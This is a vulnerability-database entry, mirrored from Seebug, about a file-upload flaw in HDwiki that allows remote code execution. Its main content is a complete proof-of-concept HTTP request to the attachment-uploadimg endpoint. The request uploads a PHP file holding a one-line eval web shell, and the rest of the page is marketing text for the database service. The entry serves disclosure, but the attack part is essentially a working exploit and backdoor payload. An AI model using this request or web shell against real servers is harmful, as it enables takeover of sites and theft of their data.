Lucene search
+L

HDwiki文件上传导致远程代码执行漏洞

🗓️ 13 Aug 2013 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

HDwiki文件上传导致远程代码执行漏洞. 互动维客开源系统(HDwiki)存在上传文件时的安全漏洞,由于缺乏足够的输入验证,攻击者可利用该漏洞上传恶意文件并造成远程代码执行

Code

                                                POST /hdwiki/index.php?attachment-uploadimg HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Referer: http://www.wooyun.org/

Accept-Language: zh-cn

Content-Type: multipart/form-data; boundary=---------------------------7db261e100f2e

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.2)

Host: www.wooyun.org

Content-Length: 370

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: Hm_lvt_c12f88b5c1cd041a732dea597a5ec94c=1298002704449; hd_sid=raG13H; hd_auth=4113YBBXXB13XtdR6EXTA1Cb9BuhZMK%2F29wdoHDQJTV5QZOoYd62OHd46iXKqf4Qz%2F5gc6pLm9fZ%2Bdgv68MT; hd_searchtime=1300983373



-----------------------------7db261e100f2e

Content-Disposition: form-data; name="MAX_FILE_SIZE"



30000

-----------------------------7db261e100f2e

Content-Disposition: form-data; name="photofile"; filename="C:\fucker\z.php"

Content-Type: image/image



zzz<?eval($_REQUEST[z])?>

-----------------------------7db261e100f2e--
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Aug 2013 00:00Current
7.1High risk
Vulners AI Score7.1
20